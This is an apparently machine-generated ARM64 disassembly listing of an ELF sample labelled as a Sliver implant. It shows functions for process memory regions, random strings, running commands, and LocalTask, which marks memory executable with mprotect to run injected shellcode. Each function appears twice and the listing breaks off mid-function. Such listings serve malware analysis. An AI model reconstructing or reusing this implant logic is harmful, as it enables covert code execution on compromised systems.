File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
Loading..
00429710
00429710type:.eq.github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion: ; void type:.eq.github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion(github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion * p, github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion * q)
00429710ldr x16, [x28+16]
00429714subs xzr, sp, x16
00429718b.ls 0x42980c
0042971cstr x30, [sp-80]!
00429720stur x29, [sp-8]
00429724sub x29, sp, 8
00429728str x0, [sp+88]
0042972cstr x1, [sp+96]
00429730strb wzr, [sp+39]
00429734ldr x3, [sp+88]
00429738ldr x3, [x3]
0042973cldr x4, [sp+96]
00429740ldr x4, [x4]
00429744subs xzr, x4, x3
00429748b.eq 0x429750
0042974cb 0x4297f0
00429750
00429750loc_429750:
00429750ldr x3, [sp+88]
00429754ldr x4, [sp+96]
00429758ldr x3, [x3+8]
0042975cldr x4, [x4+8]
00429760subs xzr, x4, x3
00429764b.eq 0x42976c
00429768b 0x4297ec
0042976c
0042976cloc_42976c:
0042976cldr x3, [sp+88]
00429770ldr x4, [sp+96]
00429774ldrb w3, [x3+16]
00429778ldrb w4, [x4+16]
0042977ceor x3, x3, x4
00429780eor x3, x3, 1
00429784tbnz w3, 0, 0x42978c
00429788b 0x4297e8
0042978c
0042978cloc_42978c:
0042978cldr x3, [sp+88]
00429790ldr x3, [x3+32]
00429794str x3, [sp+48]
00429798ldr x4, [x1+32]
0042979cstr x4, [sp+40]
004297a0subs xzr, x3, x4
004297a4b.eq 0x4297ac
004297a8b 0x4297e4
004297ac
004297acloc_4297ac:
004297acldr x3, [sp+88]
004297b0ldr x3, [x3+32]
004297b4str x3, [sp+40]
004297b8ldr x3, [sp+88]
004297bcldr x3, [x3+24]
004297c0str x3, [sp+64]
004297c4ldr x3, [sp+96]
004297c8ldr x1, [x3+24]
004297ccstr x1, [sp+56]
004297d0ldr x2, [sp+40]
004297d4ldr x0, [sp+64]
004297d8bl runtime.memequal
004297dcstrb w0, [sp+39]
004297e0b 0x4297fc
004297e4
004297e4loc_4297e4:
004297e4b 0x4297f4
004297e8
004297e8loc_4297e8:
004297e8b 0x4297f4
004297ec
004297ecloc_4297ec:
004297ecb 0x4297f4
004297f0
004297f0loc_4297f0:
004297f0b 0x4297f4
004297f4
004297f4loc_4297f4:
004297f4strb wzr, [sp+39]
004297f8b 0x4297fc
004297fc
004297fcloc_4297fc:
004297fcldrb w0, [sp+39]
00429800ldur x29, [sp-8]
00429804ldr x30, [sp], 80
00429808ret x30
0042980c
0042980cloc_42980c:
0042980cstp x0, x1, [sp+8]
00429810mov x3, x30
00429814bl runtime.morestack_noctxt.abi0
00429818ldp x0, x1, [sp+8]
0042981cb 0x429710
00429710
00429710type:.eq.github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion: ; void type:.eq.github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion(github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion * p, github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion * q)
00429710ldr x16, [x28+16]
00429714subs xzr, sp, x16
00429718b.ls 0x42980c
0042971cstr x30, [sp-80]!
00429720stur x29, [sp-8]
00429724sub x29, sp, 8
00429728str x0, [sp+88]
0042972cstr x1, [sp+96]
00429730strb wzr, [sp+39]
00429734ldr x3, [sp+88]
00429738ldr x3, [x3]
0042973cldr x4, [sp+96]
00429740ldr x4, [x4]
00429744subs xzr, x4, x3
00429748b.eq 0x429750
0042974cb 0x4297f0
00429750
00429750loc_429750:
00429750ldr x3, [sp+88]
00429754ldr x4, [sp+96]
00429758ldr x3, [x3+8]
0042975cldr x4, [x4+8]
00429760subs xzr, x4, x3
00429764b.eq 0x42976c
00429768b 0x4297ec
0042976c
0042976cloc_42976c:
0042976cldr x3, [sp+88]
00429770ldr x4, [sp+96]
00429774ldrb w3, [x3+16]
00429778ldrb w4, [x4+16]
0042977ceor x3, x3, x4
00429780eor x3, x3, 1
00429784tbnz w3, 0, 0x42978c
00429788b 0x4297e8
0042978c
0042978cloc_42978c:
0042978cldr x3, [sp+88]
00429790ldr x3, [x3+32]
00429794str x3, [sp+48]
00429798ldr x4, [x1+32]
0042979cstr x4, [sp+40]
004297a0subs xzr, x3, x4
004297a4b.eq 0x4297ac
004297a8b 0x4297e4
004297ac
004297acloc_4297ac:
004297acldr x3, [sp+88]
004297b0ldr x3, [x3+32]
004297b4str x3, [sp+40]
004297b8ldr x3, [sp+88]
004297bcldr x3, [x3+24]
004297c0str x3, [sp+64]
004297c4ldr x3, [sp+96]
004297c8ldr x1, [x3+24]
004297ccstr x1, [sp+56]
004297d0ldr x2, [sp+40]
004297d4ldr x0, [sp+64]
004297d8bl runtime.memequal
004297dcstrb w0, [sp+39]
004297e0b 0x4297fc
004297e4
004297e4loc_4297e4:
004297e4b 0x4297f4
004297e8
004297e8loc_4297e8:
004297e8b 0x4297f4
004297ec
004297ecloc_4297ec:
004297ecb 0x4297f4
004297f0
004297f0loc_4297f0:
004297f0b 0x4297f4
004297f4
004297f4loc_4297f4:
004297f4strb wzr, [sp+39]
004297f8b 0x4297fc
004297fc
004297fcloc_4297fc:
004297fcldrb w0, [sp+39]
00429800ldur x29, [sp-8]
00429804ldr x30, [sp], 80
00429808ret x30
0042980c
0042980cloc_42980c:
0042980cstp x0, x1, [sp+8]
00429810mov x3, x30
00429814bl runtime.morestack_noctxt.abi0
00429818ldp x0, x1, [sp+8]
0042981cb 0x429710
00429710
00429820
00429820github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset(int length, struct string charset)
00429820ldr x16, [x28+16]
00429824sub x17, sp, 48
00429828subs xzr, x17, x16
0042982cb.ls 0x429958
00429830str x30, [sp-176]!
00429834stur x29, [sp-8]
00429838sub x29, sp, 8
0042983cstr x0, [sp+184]
00429840str x1, [sp+192]
00429844str x2, [sp+200]
00429848stp xzr, xzr, [sp+80]
0042984cbl time.Now
00429850str x0, [sp+144]
00429854str x1, [sp+152]
00429858str x2, [sp+160]
0042985cbl time.Time.UnixNano
00429860str x0, [sp+48]
00429864bl math/rand.NewSource
00429868str x0, [sp+128]
0042986cstr x1, [sp+136]
00429870bl math/rand.New
00429874str x0, [sp+96]
00429878ldr x2, [sp+184]
0042987cldr x1, [sp+184]
00429880adrp x0, 0x1cc000
00429884add x0, x0, 3072
00429888bl runtime.makeslice
0042988cldr x1, [sp+184]
00429890ldr x2, [sp+184]
00429894str x0, [sp+104]
00429898str x1, [sp+112]
0042989cstr x2, [sp+120]
004298a0str xzr, [sp+64]
004298a4str x1, [sp+56]
004298a8b 0x4298ac
004298ac
004298acloc_4298ac:
004298acldr x3, [sp+56]
004298b0ldr x4, [sp+64]
004298b4subs xzr, x3, x4
004298b8b.gt 0x4298c0
004298bcb 0x429924
004298c0
004298c0loc_4298c0:
004298c0ldr x2, [sp+64]
004298c4str x2, [sp+32]
004298c8ldr x1, [sp+200]
004298ccstr x1, [sp+40]
004298d0ldr x0, [sp+96]
004298d4bl math/rand.(*Rand).Intn
004298d8str x0, [sp+72]
004298dcldr x1, [sp+200]
004298e0ldr x2, [sp+192]
004298e4subs xzr, x0, x1
004298e8b.lo 0x4298f0
004298ecb 0x429950
004298f0
004298f0loc_4298f0:
004298f0ldr x3, [sp+32]
004298f4ldr x1, [sp+112]
004298f8ldr x4, [sp+104]
004298fcldrb w5, [x2+x0]
00429900subs xzr, x1, x3
00429904b.hi 0x42990c
00429908b 0x429948
0042990c
0042990cloc_42990c:
0042990cstrb w5, [x4+x3]
00429910b 0x429914
00429914
00429914loc_429914:
00429914ldr x3, [sp+64]
00429918add x3, x3, 1
0042991cstr x3, [sp+64]
00429920b 0x4298ac
00429924
00429924loc_429924:
00429924ldr x1, [sp+104]
00429928ldr x2, [sp+112]
0042992cmov x0, xzr
00429930bl runtime.slicebytetostring
00429934str x0, [sp+80]
00429938str x1, [sp+88]
0042993cldur x29, [sp-8]
00429940ldr x30, [sp], 176
00429944ret x30
00429948
00429948loc_429948:
00429948mov x0, x3
0042994cbl runtime.panicIndex
00429950
00429950loc_429950:
00429950bl runtime.panicIndex
00429954hint
00429958
00429958loc_429958:
00429958stp x0, x1, [sp+8]
0042995cstr x2, [sp+24]
00429960mov x3, x30
00429964bl runtime.morestack_noctxt.abi0
00429968ldp x0, x1, [sp+8]
0042996cldr x2, [sp+24]
00429970b 0x429820
00429974udf 0
00429978udf 0
0042997cudf 0
00429820
00429820github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset(int length, struct string charset)
00429820ldr x16, [x28+16]
00429824sub x17, sp, 48
00429828subs xzr, x17, x16
0042982cb.ls 0x429958
00429830str x30, [sp-176]!
00429834stur x29, [sp-8]
00429838sub x29, sp, 8
0042983cstr x0, [sp+184]
00429840str x1, [sp+192]
00429844str x2, [sp+200]
00429848stp xzr, xzr, [sp+80]
0042984cbl time.Now
00429850str x0, [sp+144]
00429854str x1, [sp+152]
00429858str x2, [sp+160]
0042985cbl time.Time.UnixNano
00429860str x0, [sp+48]
00429864bl math/rand.NewSource
00429868str x0, [sp+128]
0042986cstr x1, [sp+136]
00429870bl math/rand.New
00429874str x0, [sp+96]
00429878ldr x2, [sp+184]
0042987cldr x1, [sp+184]
00429880adrp x0, 0x1cc000
00429884add x0, x0, 3072
00429888bl runtime.makeslice
0042988cldr x1, [sp+184]
00429890ldr x2, [sp+184]
00429894str x0, [sp+104]
00429898str x1, [sp+112]
0042989cstr x2, [sp+120]
004298a0str xzr, [sp+64]
004298a4str x1, [sp+56]
004298a8b 0x4298ac
004298ac
004298acloc_4298ac:
004298acldr x3, [sp+56]
004298b0ldr x4, [sp+64]
004298b4subs xzr, x3, x4
004298b8b.gt 0x4298c0
004298bcb 0x429924
004298c0
004298c0loc_4298c0:
004298c0ldr x2, [sp+64]
004298c4str x2, [sp+32]
004298c8ldr x1, [sp+200]
004298ccstr x1, [sp+40]
004298d0ldr x0, [sp+96]
004298d4bl math/rand.(*Rand).Intn
004298d8str x0, [sp+72]
004298dcldr x1, [sp+200]
004298e0ldr x2, [sp+192]
004298e4subs xzr, x0, x1
004298e8b.lo 0x4298f0
004298ecb 0x429950
004298f0
004298f0loc_4298f0:
004298f0ldr x3, [sp+32]
004298f4ldr x1, [sp+112]
004298f8ldr x4, [sp+104]
004298fcldrb w5, [x2+x0]
00429900subs xzr, x1, x3
00429904b.hi 0x42990c
00429908b 0x429948
0042990c
0042990cloc_42990c:
0042990cstrb w5, [x4+x3]
00429910b 0x429914
00429914
00429914loc_429914:
00429914ldr x3, [sp+64]
00429918add x3, x3, 1
0042991cstr x3, [sp+64]
00429920b 0x4298ac
00429924
00429924loc_429924:
00429924ldr x1, [sp+104]
00429928ldr x2, [sp+112]
0042992cmov x0, xzr
00429930bl runtime.slicebytetostring
00429934str x0, [sp+80]
00429938str x1, [sp+88]
0042993cldur x29, [sp-8]
00429940ldr x30, [sp], 176
00429944ret x30
00429948
00429948loc_429948:
00429948mov x0, x3
0042994cbl runtime.panicIndex
00429950
00429950loc_429950:
00429950bl runtime.panicIndex
00429954hint
00429958
00429958loc_429958:
00429958stp x0, x1, [sp+8]
0042995cstr x2, [sp+24]
00429960mov x3, x30
00429964bl runtime.morestack_noctxt.abi0
00429968ldp x0, x1, [sp+8]
0042996cldr x2, [sp+24]
00429970b 0x429820
00429974udf 0
00429978udf 0
0042997cudf 0
00429820
00429980
00429980github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString(int length)
00429980ldr x16, [x28+16]
00429984subs xzr, sp, x16
00429988b.ls 0x4299d8
0042998cstr x30, [sp-96]!
00429990stur x29, [sp-8]
00429994sub x29, sp, 8
00429998str x0, [sp+104]
0042999cstp xzr, xzr, [sp+40]
004299a0adrp x1, 0x2a3000
004299a4add x1, x1, 3628
004299a8str x1, [sp+56]
004299acorr x2, xzr, 62
004299b0str x2, [sp+64]
004299b4ldr x0, [sp+104]
004299b8bl github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset
004299bcstr x0, [sp+72]
004299c0str x1, [sp+80]
004299c4str x0, [sp+40]
004299c8str x1, [sp+48]
004299ccldur x29, [sp-8]
004299d0ldr x30, [sp], 96
004299d4ret x30
004299d8
004299d8loc_4299d8:
004299d8str x0, [sp+8]
004299dcmov x3, x30
004299e0bl runtime.morestack_noctxt.abi0
004299e4ldr x0, [sp+8]
004299e8b 0x429980
004299ecudf 0
00429980
00429980github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString(int length)
00429980ldr x16, [x28+16]
00429984subs xzr, sp, x16
00429988b.ls 0x4299d8
0042998cstr x30, [sp-96]!
00429990stur x29, [sp-8]
00429994sub x29, sp, 8
00429998str x0, [sp+104]
0042999cstp xzr, xzr, [sp+40]
004299a0adrp x1, 0x2a3000
004299a4add x1, x1, 3628
004299a8str x1, [sp+56]
004299acorr x2, xzr, 62
004299b0str x2, [sp+64]
004299b4ldr x0, [sp+104]
004299b8bl github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset
004299bcstr x0, [sp+72]
004299c0str x1, [sp+80]
004299c4str x0, [sp+40]
004299c8str x1, [sp+48]
004299ccldur x29, [sp-8]
004299d0ldr x30, [sp], 96
004299d4ret x30
004299d8
004299d8loc_4299d8:
004299d8str x0, [sp+8]
004299dcmov x3, x30
004299e0bl runtime.morestack_noctxt.abi0
004299e4ldr x0, [sp+8]
004299e8b 0x429980
004299ecudf 0
00429980
004299f0
004299f0github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait(os/exec.Cmd * cmd, sync.WaitGroup * wg)
004299f0ldr x16, [x28+16]
004299f4subs xzr, sp, x16
004299f8b.ls 0x429a30
004299fcstr x30, [sp-32]!
00429a00stur x29, [sp-8]
00429a04sub x29, sp, 8
00429a08str x0, [sp+40]
00429a0cstr x1, [sp+48]
00429a10bl os/exec.(*Cmd).Start
00429a14ldr x0, [sp+40]
00429a18bl os/exec.(*Cmd).Wait
00429a1cldr x0, [sp+48]
00429a20bl sync.(*WaitGroup).Done
00429a24ldur x29, [sp-8]
00429a28ldr x30, [sp], 32
00429a2cret x30
00429a30
00429a30loc_429a30:
00429a30stp x0, x1, [sp+8]
00429a34mov x3, x30
00429a38bl runtime.morestack_noctxt.abi0
00429a3cldp x0, x1, [sp+8]
00429a40b 0x4299f0
00429a44udf 0
00429a48udf 0
00429a4cudf 0
004299f0
004299f0github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait(os/exec.Cmd * cmd, sync.WaitGroup * wg)
004299f0ldr x16, [x28+16]
004299f4subs xzr, sp, x16
004299f8b.ls 0x429a30
004299fcstr x30, [sp-32]!
00429a00stur x29, [sp-8]
00429a04sub x29, sp, 8
00429a08str x0, [sp+40]
00429a0cstr x1, [sp+48]
00429a10bl os/exec.(*Cmd).Start
00429a14ldr x0, [sp+40]
00429a18bl os/exec.(*Cmd).Wait
00429a1cldr x0, [sp+48]
00429a20bl sync.(*WaitGroup).Done
00429a24ldur x29, [sp-8]
00429a28ldr x30, [sp], 32
00429a2cret x30
00429a30
00429a30loc_429a30:
00429a30stp x0, x1, [sp+8]
00429a34mov x3, x30
00429a38bl runtime.morestack_noctxt.abi0
00429a3cldp x0, x1, [sp+8]
00429a40b 0x4299f0
00429a44udf 0
00429a48udf 0
00429a4cudf 0
004299f0
00429a50
00429a50github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage(uintptr p)
00429a50ldr x16, [x28+16]
00429a54subs xzr, sp, x16
00429a58b.ls 0x429af0
00429a5cstr x30, [sp-96]!
00429a60stur x29, [sp-8]
00429a64sub x29, sp, 8
00429a68str x0, [sp+104]
00429a6cstr xzr, [sp+40]
00429a70stp xzr, xzr, [sp+48]
00429a74bl syscall.Getpagesize
00429a78str x0, [sp+32]
00429a7cbl syscall.Getpagesize
00429a80str x0, [sp+24]
00429a84ldr x1, [sp+104]
00429a88ldr x2, [sp+32]
00429a8csub x2, xzr, x2
00429a90and x1, x1, x2
00429a94ldrsb x27, [x1]
00429a98orr x2, xzr, 0xffffff
00429a9csubs xzr, x0, x2
00429aa0b.ls 0x429aa8
00429aa4b 0x429ae0
00429aa8
00429aa8loc_429aa8:
00429aa8b 0x429aac
00429aac
00429aacloc_429aac:
00429aacstr x1, [sp+64]
00429ab0str x0, [sp+72]
00429ab4orr x2, xzr, 0xffffff
00429ab8str x2, [sp+80]
00429abcstr x1, [sp+40]
00429ac0str x0, [sp+48]
00429ac4str x2, [sp+56]
00429ac8ldr x3, [sp+40]
00429accmov x1, x0
00429ad0mov x0, x3
00429ad4ldur x29, [sp-8]
00429ad8ldr x30, [sp], 96
00429adcret x30
00429ae0
00429ae0loc_429ae0:
00429ae0mov x1, x0
00429ae4orr x2, xzr, 0xffffff
00429ae8bl runtime.panicSliceAlen
00429aechint
00429af0
00429af0loc_429af0:
00429af0str x0, [sp+8]
00429af4mov x3, x30
00429af8bl runtime.morestack_noctxt.abi0
00429afcldr x0, [sp+8]
00429b00b 0x429a50
00429b04udf 0
00429b08udf 0
00429b0cudf 0
00429a50
00429a50github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage(uintptr p)
00429a50ldr x16, [x28+16]
00429a54subs xzr, sp, x16
00429a58b.ls 0x429af0
00429a5cstr x30, [sp-96]!
00429a60stur x29, [sp-8]
00429a64sub x29, sp, 8
00429a68str x0, [sp+104]
00429a6cstr xzr, [sp+40]
00429a70stp xzr, xzr, [sp+48]
00429a74bl syscall.Getpagesize
00429a78str x0, [sp+32]
00429a7cbl syscall.Getpagesize
00429a80str x0, [sp+24]
00429a84ldr x1, [sp+104]
00429a88ldr x2, [sp+32]
00429a8csub x2, xzr, x2
00429a90and x1, x1, x2
00429a94ldrsb x27, [x1]
00429a98orr x2, xzr, 0xffffff
00429a9csubs xzr, x0, x2
00429aa0b.ls 0x429aa8
00429aa4b 0x429ae0
00429aa8
00429aa8loc_429aa8:
00429aa8b 0x429aac
00429aac
00429aacloc_429aac:
00429aacstr x1, [sp+64]
00429ab0str x0, [sp+72]
00429ab4orr x2, xzr, 0xffffff
00429ab8str x2, [sp+80]
00429abcstr x1, [sp+40]
00429ac0str x0, [sp+48]
00429ac4str x2, [sp+56]
00429ac8ldr x3, [sp+40]
00429accmov x1, x0
00429ad0mov x0, x3
00429ad4ldur x29, [sp-8]
00429ad8ldr x30, [sp], 96
00429adcret x30
00429ae0
00429ae0loc_429ae0:
00429ae0mov x1, x0
00429ae4orr x2, xzr, 0xffffff
00429ae8bl runtime.panicSliceAlen
00429aechint
00429af0
00429af0loc_429af0:
00429af0str x0, [sp+8]
00429af4mov x3, x30
00429af8bl runtime.morestack_noctxt.abi0
00429afcldr x0, [sp+8]
00429b00b 0x429a50
00429b04udf 0
00429b08udf 0
00429b0cudf 0
00429a50
00429b10
00429b10github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask(struct []uint8 data, bool rwxPages)
00429b10ldr x16, [x28+16]
00429b14sub x17, sp, 80
00429b18subs xzr, x17, x16
00429b1cb.ls 0x429cec
00429b20str x30, [sp-208]!
00429b24stur x29, [sp-8]
00429b28sub x29, sp, 8
00429b2cstr x0, [sp+216]
00429b30str x1, [sp+224]
00429b34str x2, [sp+232]
00429b38strb w3, [sp+240]
00429b3cstp xzr, xzr, [sp+104]
00429b40adrp x0, 0x1c4000
00429b44add x0, x0, 1216
00429b48bl runtime.newobject
00429b4cstr x0, [sp+192]
00429b50adrp x27, 0x622000
00429b54ldr w1, [x27+3056]
00429b58cbz w1, 0x429b60
00429b5cb 0x429b64
00429b60
00429b60loc_429b60:
00429b60b 0x429b84
00429b64
00429b64loc_429b64:
00429b64str x0, [sp+184]
00429b68mov x1, x0
00429b6cadd x2, sp, 216
00429b70adrp x0, 0x1c4000
00429b74add x0, x0, 1216
00429b78bl runtime.wbMove
00429b7cldr x0, [sp+184]
00429b80b 0x429b84
00429b84
00429b84loc_429b84:
00429b84ldp x2, x3, [sp+216]
00429b88stp x2, x3, [x0]
00429b8cldr x2, [sp+232]
00429b90str x2, [x0+16]
00429b94ldr x2, [sp+192]
00429b98ldr x1, [x2+8]
00429b9cldr x0, [x2]
00429ba0subs xzr, x1, 0
00429ba4b.hi 0x429bac
00429ba8b 0x429ce0
00429bac
00429bacloc_429bac:
00429bacstr x0, [sp+48]
00429bb0bl github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage
00429bb4str x0, [sp+120]
00429bb8str x1, [sp+128]
00429bbcstr x2, [sp+136]
00429bc0movz x3, 5
00429bc4bl syscall.Mprotect
00429bc8ldr x1, [sp+192]
00429bccstr x1, [sp+152]
00429bd0add x1, sp, 152
00429bd4ldrsb x27, [x1]
00429bd8ldr x1, [x1]
00429bdcstr x1, [sp+144]
00429be0bl runtime.LockOSThread
00429be4adrp x1, 0x2af000
00429be8add x1, x1, 1640
00429becstr x1, [sp+80]
00429bf0add x0, sp, 56
00429bf4bl runtime.deferprocStack
00429bf8subs xzr, x0, 0
00429bfcb.ne 0x429cc8
00429c00b 0x429c04
00429c04
00429c04loc_429c04:
00429c04adrp x1, 0x2af000
00429c08add x1, x1, 3888
00429c0cstr x1, [sp+176]
00429c10ldr x1, [sp+144]
00429c14str x1, [sp+168]
00429c18adrp x0, 0x222000
00429c1cadd x0, x0, 2336
00429c20bl runtime.newobject
00429c24str x0, [sp+160]
00429c28adrp x1, 0
00429c2cadd x1, x1, 3344
00429c30str x1, [x0]
00429c34ldr x1, [sp+176]
00429c38ldr x2, [sp+160]
00429c3cldrsb x27, [x2]
00429c40adrp x27, 0x622000
00429c44ldr w3, [x27+3056]
00429c48cbz w3, 0x429c50
00429c4cb 0x429c54
00429c50
00429c50loc_429c50:
00429c50b 0x429c68
00429c54
00429c54loc_429c54:
00429c54bl runtime.gcWriteBarrier2
00429c58str x1, [x25]
00429c5cldr x3, [x2+8]
00429c60str x3, [x25+8]
00429c64b 0x429c68
00429c68
00429c68loc_429c68:
00429c68str x1, [x2+8]
00429c6cldr x1, [sp+168]
00429c70ldr x2, [sp+160]
00429c74ldrsb x27, [x2]
00429c78adrp x27, 0x622000
00429c7cldr w3, [x27+3056]
00429c80cbz w3, 0x429c88
00429c84b 0x429c8c
00429c88
00429c88loc_429c88:
00429c88b 0x429ca0
00429c8c
00429c8cloc_429c8c:
00429c8cbl runtime.gcWriteBarrier2
00429c90str x1, [x25]
00429c94ldr x3, [x2+16]
00429c98str x3, [x25+8]
00429c9cb 0x429ca0
00429ca0
00429ca0loc_429ca0:
00429ca0str x1, [x2+16]
00429ca4ldr x0, [sp+160]
00429ca8bl runtime.newproc
00429cacstp xzr, xzr, [sp+104]
00429cb0bl runtime.deferreturn
00429cb4ldr x0, [sp+104]
00429cb8ldr x1, [sp+112]
00429cbcldur x29, [sp-8]
00429cc0ldr x30, [sp], 208
00429cc4ret x30
00429cc8
00429cc8loc_429cc8:
00429cc8bl runtime.deferreturn
00429cccldr x0, [sp+104]
00429cd0ldr x1, [sp+112]
00429cd4ldur x29, [sp-8]
00429cd8ldr x30, [sp], 208
00429cdcret x30
00429ce0
00429ce0loc_429ce0:
00429ce0mov x0, xzr
00429ce4bl runtime.panicIndex
00429ce8hint
00429cec
00429cecloc_429cec:
00429cecstp x0, x1, [sp+8]
00429cf0str x2, [sp+24]
00429cf4strb w3, [sp+32]
00429cf8mov x3, x30
00429cfcbl runtime.morestack_noctxt.abi0
00429d00ldp x0, x1, [sp+8]
00429d04ldr x2, [sp+24]
00429d08ldrb w3, [sp+32]
00429d0cb 0x429b10
00429b10
00429b10github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask(struct []uint8 data, bool rwxPages)
00429b10ldr x16, [x28+16]
00429b14sub x17, sp, 80
00429b18subs xzr, x17, x16
00429b1cb.ls 0x429cec
00429b20str x30, [sp-208]!
00429b24stur x29, [sp-8]
00429b28sub x29, sp, 8
00429b2cstr x0, [sp+216]
00429b30str x1, [sp+224]
00429b34str x2, [sp+232]
00429b38strb w3, [sp+240]
00429b3cstp xzr, xzr, [sp+104]
00429b40adrp x0, 0x1c4000
00429b44add x0, x0, 1216
00429b48bl runtime.newobject
00429b4cstr x0, [sp+192]
00429b50adrp x27, 0x622000
00429b54ldr w1, [x27+3056]
00429b58cbz w1, 0x429b60
00429b5cb 0x429b64
00429b60
00429b60loc_429b60:
00429b60b 0x429b84
00429b64
00429b64loc_429b64:
00429b64str x0, [sp+184]
00429b68mov x1, x0
00429b6cadd x2, sp, 216
00429b70adrp x0, 0x1c4000
00429b74add x0, x0, 1216
00429b78bl runtime.wbMove
00429b7cldr x0, [sp+184]
00429b80b 0x429b84
00429b84
00429b84loc_429b84:
00429b84ldp x2, x3, [sp+216]
00429b88stp x2, x3, [x0]
00429b8cldr x2, [sp+232]
00429b90str x2, [x0+16]
00429b94ldr x2, [sp+192]
00429b98ldr x1, [x2+8]
00429b9cldr x0, [x2]
00429ba0subs xzr, x1, 0
00429ba4b.hi 0x429bac
00429ba8b 0x429ce0
00429bac
00429bacloc_429bac:
00429bacstr x0, [sp+48]
00429bb0bl github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage
00429bb4str x0, [sp+120]
00429bb8str x1, [sp+128]
00429bbcstr x2, [sp+136]
00429bc0movz x3, 5
00429bc4bl syscall.Mprotect
00429bc8ldr x1, [sp+192]
00429bccstr x1, [sp+152]
00429bd0add x1, sp, 152
00429bd4ldrsb x27, [x1]
00429bd8ldr x1, [x1]
00429bdcstr x1, [sp+144]
00429be0bl runtime.LockOSThread
00429be4adrp x1, 0x2af000
00429be8add x1, x1, 1640
00429becstr x1, [sp+80]
00429bf0add x0, sp, 56
00429bf4bl runtime.deferprocStack
00429bf8subs xzr, x0, 0
00429bfcb.ne 0x429cc8
00429c00b 0x429c04
00429c04
00429c04loc_429c04:
00429c04adrp x1, 0x2af000
00429c08add x1, x1, 3888
00429c0cstr x1, [sp+176]
00429c10ldr x1, [sp+144]
00429c14str x1, [sp+168]
00429c18adrp x0, 0x222000
00429c1cadd x0, x0, 2336
00429c20bl runtime.newobject
00429c24str x0, [sp+160]
00429c28adrp x1, 0
00429c2cadd x1, x1, 3344
00429c30str x1, [x0]
00429c34ldr x1, [sp+176]
00429c38ldr x2, [sp+160]
00429c3cldrsb x27, [x2]
00429c40adrp x27, 0x622000
00429c44ldr w3, [x27+3056]
00429c48cbz w3, 0x429c50
00429c4cb 0x429c54
00429c50
00429c50loc_429c50:
00429c50b 0x429c68
00429c54
00429c54loc_429c54:
00429c54bl runtime.gcWriteBarrier2
00429c58str x1, [x25]
00429c5cldr x3, [x2+8]
00429c60str x3, [x25+8]
00429c64b 0x429c68
00429c68
00429c68loc_429c68:
00429c68str x1, [x2+8]
00429c6cldr x1, [sp+168]
00429c70ldr x2, [sp+160]
00429c74ldrsb x27, [x2]
00429c78adrp x27, 0x622000
00429c7cldr w3, [x27+3056]
00429c80cbz w3, 0x429c88
00429c84b 0x429c8c
00429c88
00429c88loc_429c88:
00429c88b 0x429ca0
00429c8c
00429c8cloc_429c8c:
00429c8cbl runtime.gcWriteBarrier2
00429c90str x1, [x25]
00429c94ldr x3, [x2+16]
00429c98str x3, [x25+8]
00429c9cb 0x429ca0
00429ca0
00429ca0loc_429ca0:
00429ca0str x1, [x2+16]
00429ca4ldr x0, [sp+160]
00429ca8bl runtime.newproc
00429cacstp xzr, xzr, [sp+104]
00429cb0bl runtime.deferreturn
00429cb4ldr x0, [sp+104]
00429cb8ldr x1, [sp+112]
00429cbcldur x29, [sp-8]
00429cc0ldr x30, [sp], 208
00429cc4ret x30
00429cc8
00429cc8loc_429cc8:
00429cc8bl runtime.deferreturn
00429cccldr x0, [sp+104]
00429cd0ldr x1, [sp+112]
00429cd4ldur x29, [sp-8]
00429cd8ldr x30, [sp], 208
00429cdcret x30
00429ce0
00429ce0loc_429ce0:
00429ce0mov x0, xzr
00429ce4bl runtime.panicIndex
00429ce8hint
00429cec
00429cecloc_429cec:
00429cecstp x0, x1, [sp+8]
00429cf0str x2, [sp+24]
00429cf4strb w3, [sp+32]
00429cf8mov x3, x30
00429cfcbl runtime.morestack_noctxt.abi0
00429d00ldp x0, x1, [sp+8]
00429d04ldr x2, [sp+24]
00429d08ldrb w3, [sp+32]
00429d0cb 0x429b10
00429b10
00429d10
00429d10github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.gowrap1(void)
00429d10ldr x16, [x28+16]
00429d14subs xzr, sp, x16
00429d18b.ls 0x429d58
00429d1cstr x30, [sp-48]!
00429d20stur x29, [sp-8]
00429d24sub x29, sp, 8
00429d28ldr x16, [x28+32]
00429d2ccbnz x16, 0x429d64
00429d30
00429d30loc_429d30:
00429d30ldr x1, [x26+8]
00429d34str x1, [sp+32]
00429d38ldr x0, [x26+16]
00429d3cstr x0, [sp+24]
00429d40ldr x26, [sp+32]
